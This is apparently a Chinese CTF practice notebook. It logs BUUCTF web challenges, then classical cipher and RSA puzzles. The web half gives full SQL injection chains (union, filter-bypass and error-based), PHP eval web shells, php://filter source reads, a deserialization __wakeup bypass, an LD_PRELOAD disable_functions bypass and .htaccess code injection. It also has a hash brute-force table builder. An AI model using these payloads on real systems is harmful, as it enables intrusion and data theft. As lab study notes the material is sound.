//Description: CTF学习刷题笔记。记录刷题过程中遇到的问题。
//Create Date: 2025-08-13 09:04:20
//Author: channy
[toc]
使用到的工具:
text/plain; charset=iso-8859-1
iso-8859-1表示编码未知,改用enca工具查看
```sh
sudo apt install enca
enca -L zh_CN xxx.txt
Simplified Chinese National Standard; GB2312
说明编码是GB2312。使用iconv工具转换,即可以正常看到文件内容,可以开心地在Linux上刷题了。
iconv -f GBK -t UTF-8 乱码文件.txt -o 正常文件_utf8.txt
请求参数?cat=dog
AntSword工具直连
SQL漏洞,1' or 1=1#登录成功
GET /check.php?username=1%27+or+1%3D1%23&password=1 HTTP/1.1
sql的select没有group_concat一般只回显一条记录
username=1&password=2' or 1='1' group by 3#
username=1&password=2%27%20or%201=%271%27%20group%20by%203%23
> Unknown column '4' in 'group statement'
username=1&password=2%27%20union%20select%201,2,3%23
> 2,3
username=1&password=2%27%20union%20select%201,database(),3%23
> geek
username=1&password=2%27%20union%20select%201,group_concat(table_name),3%20from%20mysql.innodb_table_stats%20where%20database_name='geek'%23
> geekuser,l0ve1ysq1
username=1&password=2%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema='geek'%20and%20table_name='geekuser'%23
> username,password
> id,username,password (table_name='l0ve1ysq1')
username=1&password=2%27%20union%20select%201,username,password%20from%20geek.geekuser%23
> admin, 251c39b7cef2c57ab4eb885d375d723a
> cl4y, wo_tai_nan_le
username=1&password=2%27%20union%20select%201,2,group_concat(id,username,password)%20from%20geek.l0ve1ysq1%23
GET /check.php?username=admin&password=1'%20order%20by%206%20--%20- HTTP/1.1
> MariaDB server version for the right syntax to use near 'der 6 -- -'' at line 1
GET /check.php?username=admin&password=1'oorr'1'='1'%20--%20- HTTP/1.1
过滤了or和by
GET /check.php?username=admin&password=1'union%20select1,2,3%20--%20- HTTP/1.1
> MariaDB server version for the right syntax to use near '1,2,3 -- -'' at line 1
过滤了union和select,尝试带其它关键词的发现也过滤了where、from、and。
GET /check.php?username=1&password=1'%20uunionnion%20sselectelect%201,2,3--%20- HTTP/1.1
> 2, 3
GET /check.php?username=1&password=1'%20uunionnion%20sselectelect%201,group_concat(table_name),3%20ffromrom%20mysql.innodb_table_stats%20wwherehere%20database_name='geek'--%20- HTTP/1.1
> b4bsql,geekuser
GET /check.php?username=1&password=1'%20uunionnion%20sselectelect%201,group_concat(column_name),3%20ffromrom%20infoorrmation_schema.columns%20wwherehere%20table_schema='geek'%20aandnd%20table_name='geekuser'--%20- HTTP/1.1
> id,username,password (b4bsql同)
......
报错注入
GET /check.php?username=1&password=1'or(updatexml(1,concat(0x7e,database(),0x7e),1));%23 HTTP/1.1
> XPATH syntax error: '~geek~'
GET /check.php?username=1&password=1'or(updatexml(1,concat(0x7e,(select(group_concat(schema_name))from(information_schema.schemata)),0x7e),1));%23 HTTP/1.1
> XPATH syntax error: '~information_schema,performance_'
GET /check.php?username=1&password=1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1));%23 HTTP/1.1
> XPATH syntax error: '~H4rDsq1~'
GET /check.php?username=1&password=1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_schema)like(database())),0x7e),1));%23 HTTP/1.1
> XPATH syntax error: '~id,username,password~'
GET /check.php?username=1&password=1'or(updatexml(1,concat(0x7e,(select(group_concat(id,username,password))from(geek.H4rDsq1)),0x7e),1));%23 HTTP/1.1
> XPATH syntax error: '~1flagflag{7acb6ee1-7e45-43ba-95'
GET /check.php?username=1&password=1'or(updatexml(1,right(concat(0x7e,(select(group_concat(password,id))from(geek.H4rDsq1)),0x7e),40),1));%23 HTTP/1.1
> XPATH syntax error: 'ee1-7e45-43ba-9594-00cbbe785abe}'
盲注。。。
xxx.php后直接接?xxx=,一直写成xxx.php/?xxx=一直没反应到怀疑人生。。。
POST /secr3t.php?file=php://filter/read=convert.Base64-encode/resource=flag.php
......
Content-Type: application/x-www-form-urlencoded
<?php phpinfo(); ?>
GIF89a
<?php @eval($_POST['cmd']);?>
# 或
<script language="php">eval($_POST['cmd']);</script>
使用<?xxx的或后缀.php的都上传不成功,拦截<?或php文件,改用<script的和.phtml的可以,上传到了upload文件夹下。再用AntSword连接得到flag
$ ./dirsearch.py -u http://c65280b2-9099-46ee-8182-3f20914c830c.node5.buuoj.cn:81/ -e "*" --delay 0.1 -t 1 -i 200,403
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, jsp, asp, aspx, do, action, cgi, html, htm, js, tar.gz
HTTP method: GET | Threads: 1 | Wordlist size: 15045
Target: http://c65280b2-9099-46ee-8182-3f20914c830c.node5.buuoj.cn:81/
[09:04:13] Scanning:
[09:25:49] 403 - 327B - /cgi-bin/
[09:30:42] 403 - 325B - /error/
[09:31:49] 200 - 0B - /flag.php
[09:34:17] 200 - 2KB - /index.php
[09:34:19] 200 - 10KB - /index.js
[09:34:23] 200 - 2KB - /index.php/login/
[09:54:16] 200 - 6KB - /www.zip
Task Completed
www.zip中有源码,序列化题
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
构造
<?php
class Name {
private $username = "admin";
private $password = 100;
}
$name = new Name('', '');
echo serialize($name);
?>
得
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
但需要把”Name”:2改成3绕过__wakeup,private参数还需要加%00,最终得到
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
在 PHP 5.6.25 之前和 PHP 7.0.10 之前的版本中,如果序列化字符串中表示的对象属性个数大于实际对象的属性个数,__wakeup() 方法将不会被调用。
BuyFlag
```sh // BurpSuite POST /pay.php HTTP/1.1 Host: 0a2058eb-c4f0-41e0-aa41-296633296f34.node5.buuoj.cn:81 Accept-Language: en-US,en;q=0.9 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://0a2058eb-c4f0-41e0-aa41-296633296f34.node5.buuoj.cn:81/index.php Accept-Encoding: gzip, deflate, br Cookie: user=1 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 35
password=404a&money[]=100000000
根据F12的页面提示,改POST,先改user绕过身份验证,再数字改字符和使用数组绕过弱等于验证
### [2019 RCE ME](https://buuoj.cn/challenges#[%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98%202019]RCE%20ME)
```php
<?php
echo urlencode(~'phpinfo')
?>
phpinfo()变成
GET /?code=(~%8F%97%8F%96%91%99%90)();
查看phpinfo返回页面disable_functions显示system被禁用。构造马
<?php
$a = 'assert';
echo urlencode(~$a);
echo ("<p>");
$b = '(eval($_POST[cmd]))';
echo urlencode(~$b)
?>
变成
GET /?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6%D6);
用AntSword能够访问成功,看到flag和readflag,下一步需要绕过disable_functions被禁函数执行readflag
LD_PRELOAD预加载.so库以达到覆盖系统函数的目的。
bypass_disablefunc_via_LD_PRELOAD
?code=$_GET['_']($_GET['__']);&_=assert&__=include('/var/tmp/bypass_disablefunc.php')&cmd=/readflag&outpath=/var/tmp/res&sopath=/var/tmp/bypass_disablefunc_x64.so
GET /?code=${~(%A0%B8%BA%AB)}['_'](${~(%A0%B8%BA%AB)}['__']);&_=assert&__=include('/tmp/bypass_disablefunc.php')&cmd=/readflag&outpath=/tmp/res&sopath=/tmp/bypass_disablefunc_x64.so HTTP/1.1
服务器返回405错误,GET改POST加Content-Type: application/x-www-form-urlencoded
POST /?roam[]=3&roam2[]=4 HTTP/1.1
Host: 7e79b38b-39a6-4210-98c5-9b67a8ef60cc.node5.buuoj.cn:81
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 21
roam1[]=1&roam2[]=2
phpinfo()页面中显示有个文件f1444aagggg.php访问返回Flag: SYC{w31c0m3_t0_5yc_r0@m_php1}但并不是,flag直接放在phpinfo()页面中
GET /f1444aagggg.php HTTP/1.1
php中md5和sha1的绕过
<?php
class SYCLOVER {
public $syc;
public $lover;
}
// 正则过滤,改用urlencode-decode/xor
$cmd = "/flag";
$cmdencode = urlencode(~$cmd);
echo $cmdencode;
echo "\n";
/* <?= ?> 等同于<?php ?> */
$str = "?><?=include~".urldecode($cmdencode)."?>";
$cls = new SYCLOVER();
// 同一行保证message相同,但类本身因错误码不同而不同
$a = new Error($str, 1);$b = new Error($str, 2);
$cls->syc = $a;
$cls->lover = $b;
echo urlencode(serialize($cls));
?>
GET /index.php?page=php://filter/read=convert.Base64-encode/resource=login HTTP/1.1
GET /index.php?page=php://filter/read=convert.Base64-encode/resource=secret HTTP/1.1
<?php\nrequire_once("secret.php");\n
mt_srand($secret_seed);\n
$_SESSION[\'password\'] = mt_rand();\n?>\n'
<?php\n$secret_seed = mt_rand();\n?>\n
登录失败页面
http://c6f1a9dc-119f-4e60-a86d-52adac541ade.node5.buuoj.cn:81/?page=admin/user
GET /index.php?page=php://filter/read=convert.Base64-encode/resource=admin/user HTTP/1.1
if (isset($_POST[\'username\']) and isset($_POST[\'password\'])){\n\t
if ($_POST[\'username\'] === "Longlone" and $_POST[\'password\'] == $_SESSION[\'password\']){ // No one knows my password, including
myself\n\t\t
$logined = true;
<?php
if(isset($_FILES['Files']) and $_SESSION['status'] === true){
$tmp_file = $_FILES['Files']['name'];
$tmp_path = $_FILES['Files']['tmp_name'];
if(($extension = pathinfo($tmp_file)['extension']) != ""){
$allows = array('gif','jpeg','jpg','png');
if(in_array($extension,$allows,true) and in_array($_FILES['Files']['type'],array_map(function($ext){return 'image/'.$ext;},$allows),true)){
$upload_name = sha1(md5(uniqid(microtime(true), true))).'.'.$extension;
move_uploaded_file($tmp_path,"assets/img/upload/".$upload_name);
echo "<script>alert('Update image -> assets/img/upload/${upload_name}') </script>";
} else {
echo "<script>alert('Update illegal! Only allows like \'gif\', \'jpeg\', \'jpg\', \'png\' ') </script>";
}
}
}
?>
login页面产生password -> 登录提交SSID、username和password -> 后台对比password -> 提交抓包置空SSID和password绕过
phpinfo一句话码.php打包成.zip上传访问,zip://bagname#filename流中的文件都会被当成php,但get遇到#会解析故需要转义
GET /index.php?page=zip://./assets/img/upload/xxx_uploadname.jpg%23xxx_filename HTTP/1.1
GET /index.php?page=phar://./assets/img/upload/xxx_uploadname.jpg/xxx_filename HTTP/1.1
页面均显示空白…
看了wp都是这个路,但本人尝试多遍均返回空白内容,返回200但Content-Length: 0,暂且记下
03页面中得到300个随机数
GET /?filename=test.php&content=<?php%20@eval($_POST['cmd']);?> HTTP/1.1
但访问test.php直接显示内容
<?php @eval($_POST['cmd']);?>
Hello, world
也就是说,只有index.php能够作为php被解析。采用.htaccess配置auto_prepend_file注入,#(%23)注释,(%5c)连接,\n(%0a)换行,;(%3b),?(%3f),>(%3e)
php_value auto_prepend_fil\
e .htaccess
#<?php system('cat /fla?'); ?>\
?filename=.htaccess&content=php_value%20auto_prepend_fil%5C%0Ae%20.htaccess%0A%23%3C%3Fphp%20system('cat%20/fla?')%3B%3F%3E%5C
php_value auto_prepend_fil\
e .htaccess%
#<?php @eval($_POST['cmd']);?>\
Hello, world
?filename=.htaccess&content=php_value%20auto_prepend_fil%5C%0Ae%20.htaccess%0A%23%3C%3Fphp%20@eval($_POST['cmd'])%3B%3F%3E%5C
使用BurpSuite工具中的Decode直接解码即可
ZmxhZ3tUSEVfRkxBR19PRl9USElTX1NUUklOR30=
e00cf25ad42683b3df678c61f42c6bda
只能暴力短长度的,结果为admin1,算了几分钟。而cmd5.com里面秒级别地很快出结果。。。
from hashlib import md5
import string
import itertools
def trysimple(target_md5 = 'e00cf25ad42683b3df678c61f42c6bda', maxlen = 10):
found = False
charset = string.digits + string.ascii_lowercase
for curlen in range(1, maxlen):
print('curlen = ', curlen)
for part in itertools.product(charset, repeat=curlen):
part = ''.join(part)
part_md5 = md5(part.encode()).hexdigest()
if part_md5 == target_md5:
found = True
break
if found:
break
print(part if found else 'not found!!!')
if __name__ == '__main__':
trysimple()
使用BurpSuite工具中的Decode直接解码即可
%66%6c%61%67%7b%61%6e%64%20%31%3d%31%7d
根据前四位对应flag推出字母表循环前移13位
import string
content = 'synt{5pq1004q-86n5-46q8-o720-oro5on0417r1}'
# s->f, y->l, n->a, t->g,
print(ord('s') - ord('f'))
print(ord('y') - ord('l'))
print(ord('n') - ord('a'))
print(ord('t') - ord('g'))
# 13
result = ''
for c in content:
if c <= 'z' and c >= 'a':
cord = ord(c)
n = cord - 13
if n < ord('a'):
n += 26
result += chr(n)
else:
result += c
print(result)
.. .-.. --- ...- . -.-- --- ..-
A: .- B: -... C: -.-. D: -.. E: . F: ..-. G: --. H: .... I: .. J: .--- K: -.- L: .-.. M: -- N: -. O: --- P: .--. Q: --.- R: .-. S: ... T: - U: ..- V: ...- W: .-- X: -..- Y: -.-- Z: --..
姓名:张三
生日:19900315
key格式为key{xxxxxxxxxx}
flag{zs19900315} 好无聊。。。
Caesar: new = (old + offset) % mod 标准凯撒通常只处理字母
Modifier Caesar: 每个字母使用不同的offset或不同的原表等…
content = 'afZ_r9VYfScOeO_UL^RWUc'
# a->f, f->l, Z->a, _->g,
print(ord('a') - ord('f'))
print(ord('f') - ord('l'))
print(ord('Z') - ord('a'))
print(ord('_') - ord('g'))
# -5, -6, -7, -8
result = ''
id = 5
for c in content:
cord = ord(c)
n = cord + id
result += chr(n)
id += 1
print(result)
Python 的 quopri 标准库就是专门用来处理 Quoted-printable 编码的
import quopri
encoded_text = "=E9=82=A3=E4=BD=A0=E4=B9=9F=E5=BE=88=E6=A3=92=E5=93=A6"
decoded_bytes = quopri.decodestring(encoded_text)
decoded_text = decoded_bytes.decode('utf-8')
print("解码结果:", decoded_text)
根据前缀发现隔一个字符取一个字符,取完发现flag{wethinkw少了后半部分,隔的那些接上。
encoded_text = "felhaagv{ewtehtehfilnakgw}"
pre = ""
last = ""
for idx, c in enumerate(encoded_text):
if (idx & 1) == 1:
last += c
else:
pre += c
print(pre + last)
使用在线解密网站即可。。。很好奇网站使用的算法是怎么样的为什么那么快。。。
扩展欧几里得算法,对于任意整数 a 和 b,存在整数 x 和 y,使得 \(a * x + b * y = gcd(a, b)\) 已知p,q,e求d, d即为flag。则 $n = p * q$, $\phi(n) = (p - 1) * (q - 1)$, 公钥$(e, \phi(n))$有 $gcd(\phi(n), e) = 1$, 私钥(d, n)有 $(e * d) mod \phi = 1$
p = 473398607161
q = 4511491
e = 17
n = p * q
phi = (p - 1) * (q - 1)
print(f"e = {e}, n = {n}, phi = {phi}")
# (e * d) mod phi = 1
# ax + by = gcd(a, b)
# x_n = 0, y_n = 1; x_i = y_{i+1}, y_i = x_{i + 1} - q_i * y_{i + 1}
def calcaxby(a, b):
if a < b:
tmp = a
a = b
b = tmp
ql = []
ql.append(a // b)
r = a % b
while r != 0:
a = b
b = r
ql.append(a // b)
r = a % b
x = 0
y = 1
idx = len(ql) - 2
while idx >= 0:
xn = y
yn = x - ql[idx] * y
x = xn
y = yn
idx -= 1
return x, y
_, d = calcaxby(e, phi)
print(f"d = {d}")
把python2的print res改成python3的print(des)即可运行,秒级时间出结果,得到的md5结果即为flag。一开始以为原文是,结果提交发现incorrect。没明白考点在哪。。。
密码学历史中,有两位知名的杰出人物,Alice和Bob。他们的爱情经过置换和轮加密也难以混淆,即使是没有身份认证也可以知根知底。就像在数学王国中的素数一样,孤傲又热情。下面是一个大整数:98554799767,请分解为两个素数,分解后,小的放前面,大的放后面,合成一个新的数字,进行md5的32位小写哈希,提交答案。 注意:得到的 flag 请包上 flag{} 提交
import math
import hashlib
n = 98554799767
def isprime(x):
if x == 2:
return True
if (x & 1) == 0:
return False
maxn = (int)(math.sqrt(x)) + 1
for i in range(3, maxn, 2):
if (x % i == 0):
return False
return True
maxn = (int)(math.sqrt(n)) + 1
num = 0
for i in range(3, maxn, 2):
if isprime(i):
q = n // i
r = n % i
if r != 0:
continue
if isprime(q):
print(f"n {n} = i {i} * q {q}")
print(f"{i}{q}")
num = (str(i) + str(q))
break
# num = 101999966233
res = hashlib.md5(num.encode()).hexdigest()
print(res)
题目大意:
以下密文被解开后可以获得一个有意义的单词:FRPHEVGLL
用这个相同的加密向量加密ComeChina
标准的恺撤加密
def calculateOffset():
text = 'FRPHEVGL'
for offset in range(1, 26):
ntext = ''
for c in text:
nc = ord(c) + offset
if nc > ord('Z'):
nc -= 26
if nc < ord('A'):
nc += 26
ntext += chr(nc)
print(f"offset = {offset}, ntext = {ntext.lower()}")
calculateOffset()
# offset = 13, ntext = security
def calculateEncode():
plaintext = 'ComeChina'
encodetext = ''
offset = 13
for c in plaintext:
nc = ord(c) + offset
if ord(c) >= ord('A') and ord(c) <= ord('Z'):
if nc > ord('Z'):
nc -= 26
if nc < ord('A'):
nc += 26
else:
if nc > ord('z'):
nc -= 26
if nc < ord('a'):
nc += 26
encodetext += chr(nc)
print(encodetext)
calculateEncode()
最终解得的明文就是flag,不用转字符不用转16进制
p = 9648423029010515676590551740010426534945737639235739800643989352039852507298491399561035009163427050370107570733633350911691280297777160200625281665378483
q = 11874843837980297032092405848653656852760910154543380907650040190704283358909208578251063047732443992230647903887510065547947313543299303261986053486569407
e = 65537
c = 83208298995174604174773590298203639360540024871256126892889661345742403314929861939100492666605647316646576486526217457006376842280869728581726746401583705899941768214138742259689334840735633553053887641847651173776251820293087212885670180367406807406765923638973161375817392737747832762751690104423869019034
def extended_gcd(a, b):
if b == 0:
return (a, 1, 0)
else:
gcd, x, y = extended_gcd(b, a % b)
return (gcd, y, x - (a // b) * y)
def modinv(a, m):
"""计算模逆元"""
gcd, x, y = extended_gcd(a, m)
if gcd != 1:
return None # 逆元不存在
else:
return x % m
def calc_keys(p, q, e):
n = p * q
phi = (p - 1) * (q - 1)
d = modinv(e, phi)
return ((e, n), (d, n))
def decrypt(ciphertext, private_key):
d, n = private_key
print(ciphertext)
message = pow(ciphertext, d, n)
return message
if __name__ == '__main__':
public_key, private_key = calc_keys(p, q, e)
message = decrypt(c, private_key)
print(message)
使用md5解密网站可以解得good-luck。看到网站上有说用数据库,感觉可能使用的是打表法?否则难以解释如此快的解密速度?
解密原理:
import hashlib
from Crypto.Cipher import DES
import binascii
'''
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
ctf:1002:06af9108f2e1fecf144e2e8adef09efd:a7fcb22a88038f35a8f39d503e7f0062:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SUPPORT_388945a0:1001:aad3b435b51404eeaad3b435b51404ee:bef14eee40dffbc345eeb3f58e290d56:::
'''
def lm_hash(password = ""):
# Step 1: Convert to uppercase
password = password.upper()
# Step 2: Pad to 14 bytes with null bytes
password = password.ljust(14, '\0')[:14]
# Step 3: Split into two 7-byte halves
first_half = password[:7]
second_half = password[7:]
# Step 4: Convert each half to DES key
def make_des_key(seven_bytes):
# Add parity bits to create 8-byte DES key
key = []
for byte in seven_bytes.encode('ascii'):
key.append(byte)
parity = 0
for i in range(7):
if byte & (1 << i):
parity ^= 1
key[-1] = (key[-1] & 0xFE) | parity
while len(key) < 8:
key.append(0)
return bytes(key[:8])
key1 = make_des_key(first_half)
key2 = make_des_key(second_half)
# Step 5: DES encrypt magic string
magic_string = b'KGS!@#$%'
cipher1 = DES.new(key1, DES.MODE_ECB)
encrypted1 = cipher1.encrypt(magic_string)
cipher2 = DES.new(key2, DES.MODE_ECB)
encrypted2 = cipher2.encrypt(magic_string)
# Step 6: Concatenate results
lm_hash = encrypted1 + encrypted2
return binascii.hexlify(lm_hash).decode()
def ntlm_hash(password = ""):
ntlm_hash = hashlib.new('md4', password.encode('utf-16le')).hexdigest()
return ntlm_hash
# Guest password is empty
print(lm_hash(password=""), ntlm_hash(password=""))
试过多种编码没解出,使用中文电码网站在线查询可得”计算机要从娃娃抓起”。。。
encodetext = 606046152623600817831216121621196386
# not md5, cmd5 web not found
# hex 0x74b861dd729887f92889fba8f32e62
hextext = hex(encodetext)
print(hextext)
hextext = "74b861dd729887f92889fba8f32e62"
text_bytes = bytes.fromhex(hextext)
text_origin = text_bytes.decode('hz-gb-2312')
print(text_origin)
中文电码(Chinese Telegraph Code),也称为中文电报码或标准电码,是一种将汉字转换为数字代码的系统,主要用于电报通信。每个汉字对应一个4位数字代码(0000-9999)中国国家标准 GB 8565.2-88
简单分析了一下发现offset没有什么规律,使用词频分析网站。。。
encodetext = "MTHJ{CUBCGXGUGXWREXIPOYAOEYFIGXWRXCHTKHFCOHCFDUCGTXZOHIXOEOWMEHZO}"
print(ord('M') - ord('f'))
print(ord('T') - ord('l'))
print(ord('H') - ord('a'))
print(ord('J') - ord('g'))
# -25 -24 -25 -29
# 65 90 97 122
print(f"{ord('A')} {ord('Z')} {ord('a')} {ord('z')}")
plaintext = ""
offset = 24
index = 0
for c in encodetext:
if c > 'Z' or c < 'A':
plaintext += c
continue
if index & 1 == 0:
nc = ord(c) + 25
if nc < ord('a'):
nc += 26
if nc > ord('z'):
nc -= 26
plaintext += chr(nc)
else:
nc = ord(c) + offset
while nc < ord('a'):
nc += 26
while nc > ord('z'):
nc -= 26
plaintext += chr(nc)
offset += 5
index += 1
print(plaintext)
unzip解压失败,查看文件头为Rar!…把后缀修改成.rar后解压得到图像。打开图像最下方有密文。
使用apt install bless的bless打开图像,头尾都正常,未发现其它。也未查到密文中的字符是什么字符。把它们替换成字母“abcdebcfghaideejcie”也解码失败。
猪圈密码(共济会密码)将 26 个英文字母排列在一个特定的网格中,然后用符号所在位置的“形状”或“点”来代表对应的字母。

Administrator:500:806EDC27AA52E314AAD3B435B51404EE:F4AD50F57683D4260DFD48AA351A17A8:::
发现MD5查询网站上明确写明了通过穷举建立的数据库。。。
# database.py
import threading
import sqlite3
class DatabaseManager:
_instance_lock = threading.Lock()
def __new__(cls, *args, **kwargs):
if not hasattr(DatabaseManager, "_instance"):
with DatabaseManager._instance_lock:
if not hasattr(DatabaseManager, "_instance"):
DatabaseManager._instance = object.__new__(cls)
return DatabaseManager._instance
def __init__(self, sDBPath = "md5.db"):
self.sDBPath = sDBPath
self.lTables = []
self.bConnect = False
self.db = None
self.sTableName = "table_md5"
def connect(self):
if self.bConnect == True:
return
self.db = sqlite3.connect(self.sDBPath)
self.bConnect = True
self.cursor = self.db.cursor()
def disconnect(self):
if self.bConnect == False:
return
self.db.close()
self.bConnect = False
def createTable(self, sTableName = "table_md5", lColumns = {"md5": "VARCHAR(80) PRIMARY KEY", "plain": "VARCHAR(50) NOT NULL"}):
if self.bConnect == False:
self.connect()
self.deleteTable(sTableName)
columns_def = ", ".join([f"{col_name} {data_type}"
for col_name, data_type in lColumns.items()])
create_sql = f"CREATE TABLE IF NOT EXISTS {sTableName} ({columns_def})"
self.execute(create_sql)
def deleteTable(self, sTableName = "table_md5"):
if self.bConnect == False:
self.connect()
self.cursor.execute(f"DROP TABLE IF EXISTS {sTableName}")
def insertTable(self, sTableName = "table_md5", lData = {"md5": "", "plain": ""}):
if self.bConnect == False:
self.connect()
columns = ", ".join(lData.keys())
values = ', '.join([f"'{value}'" for value in lData.values()])
insert_sql = f"INSERT INTO {sTableName} ({columns}) VALUES ({values})"
self.execute(insert_sql)
def commit(self):
self.db.commit()
def search(self, sTableName = "table_md5", lCondition = {"md5": "F4AD50F57683D4260DFD48AA351A17A8"}):
if self.bConnect == False:
self.connect()
search_cond = "".join([f"{col_name} = '{col_value}'" for col_name, col_value in lCondition.items()])
search_sql = f"SELECT plain FROM {sTableName} WHERE {search_cond}"
return self.execute(search_sql)
def execute(self, execute_sql):
if self.bConnect == False:
self.connect()
print(f"execute {execute_sql}")
try:
self.cursor.execute(execute_sql)
result = self.cursor.fetchall()
return result
except sqlite3.Error as e:
print(f"Exception {e}")
return None
DBManager = DatabaseManager()
#ManageMd5DB.py
import hashlib
import string
import itertools
from database import DBManager
def md5_hash(text = ""):
text_md5 = hashlib.md5(text.encode()).hexdigest().lower()
return text_md5
def ntlm_hash(password = ""):
ntlm_hash = hashlib.new('md4', password.encode('utf-16le')).hexdigest().lower()
return ntlm_hash
def createDB(minlen = 1, maxlen = 8):
DBManager.createTable()
# charset = string.printable
# charset = string.ascii_letters + string.digits + string.punctuation
charset = string.digits
for curlen in range(minlen, maxlen):
print(f"curlen = {curlen}")
for text in itertools.product(charset, repeat=curlen):
text = ''.join(text)
text_md5 = ntlm_hash(text).lower()
DBManager.insertTable(sTableName="table_md5", lData={"md5": text_md5, "plain": text})
DBManager.commit()
DBManager.disconnect()
def searchDB():
text = "4"
text_md5 = ntlm_hash(text).lower()
result = DBManager.search(sTableName="table_md5", lCondition={"md5": text_md5})
print(result)
text_md5 = 'F4AD50F57683D4260DFD48AA351A17A8'.lower()
result = DBManager.search(sTableName="table_md5", lCondition={"md5": text_md5})
print(result)
if __name__ == '__main__':
createDB()
searchDB()
(p, q, dp, dq, c) -> m
p = 8637633767257008567099653486541091171320491509433615447539162437911244175885667806398411790524083553445158113502227745206205327690939504032994699902053229
q = 12640674973996472769176047937170883420927050821480010581593137135372473880595613737337630629752577346147039284030082593490776630572584959954205336880228469
dp = 6500795702216834621109042351193261530650043841056252930930949663358625016881832840728066026150264693076109354874099841380454881716097778307268116910582929
dq = 783472263673553449019532580386470672380574033551303889137911760438881683674556098098256795673512201963002175438762767516968043599582527539160811120550041
c = 24722305403887382073567316467649080662631552905960229399079107995602154418176056335800638887527614164073530437657085079676157350205351945222989351316076486573599576041978339872265925062764318536089007310270278526159678937431903862892400747915525118983959970607934142974736675784325993445942031372107342103852
def rsa_crt_decrypt(p, q, dp, dq, c):
"""
RSA decryption using Chinese Remainder Theorem (CRT) optimization.
Parameters:
p, q: prime factors of n
dp: d mod (p-1)
dq: d mod (q-1)
c: ciphertext
Returns:
m: decrypted message
"""
try:
# qinv = q^(-1) mod p
qinv = pow(q, -1, p)
# mp = c^dp mod p
mp = pow(c, dp, p)
# mq = c^dq mod q
mq = pow(c, dq, q)
# h = qinv * (m1 - m2) mod p
h = (qinv * (mp - mq)) % p
# m = m2 + h * q
m = mq + h * q
return m
except Exception as e:
print(f"Error during decryption: {e}")
return None
if __name__ == "__main__":
# print(f"Ciphertext: {c}")
message = rsa_crt_decrypt(p, q, dp, dq, c)
message_bytes = message.to_bytes((message.bit_length() + 7) // 8, 'big').decode()
print(message_bytes)
cipher = '辛卯,癸巳,丙戌,辛未,庚辰,癸酉,己卯,癸巳'
def xindex(c, x = '甲乙丙丁戊己庚辛壬癸'):
for i, xx in enumerate(x):
if c == xx:
return i
return -1
def yindex(c, y = '子丑寅卯辰巳午未申酉戌亥'):
for i, yy in enumerate(y):
if c == yy:
return i
return -1
words = cipher.split(',')
nums = []
for w in words:
xi = xindex(w[0])
yi = yindex(w[1])
st = (yi - xi) % 12
offset = 0
if st != 0:
offset = 10 * (6 - st / 2)
num = offset + xi + 1
nums.append((int)(num + 60))
print(nums)
res = ''
for num in nums:
c = chr(num)
res += c
print(res)
# XZSDMFLZ
def barrier(cipher = 'XZSDMFLZ'):
lens = len(cipher)
for key in range(2, lens // 2 + 1):
res_bar = ''
for row in range(key):
res_row = ''
idx = row
while idx < lens:
res_row += cipher[idx]
idx += key
res_bar += res_row
print('barrier ', key, res_bar)
caesar(res_bar)
# import itertools
# def iter(cipher = 'XZSDMFLZ'):
# charset = cipher
# for text in itertools.permutations(charset, len(cipher)):
# print('iter', text)
# caesar(text)
def caesar(cipher = 'XZSDMFLZ'):
for key in range(-26, 26, 1):
res = ''
for c in cipher:
ncord = ord(c) + key
if ncord > ord('Z'):
ncord -= 26
if ncord < ord('A'):
ncord += 26
nc = chr(ncord)
res += nc
print(key, res.lower())
# iter(res)
barrier(res)
# SHUANGYU
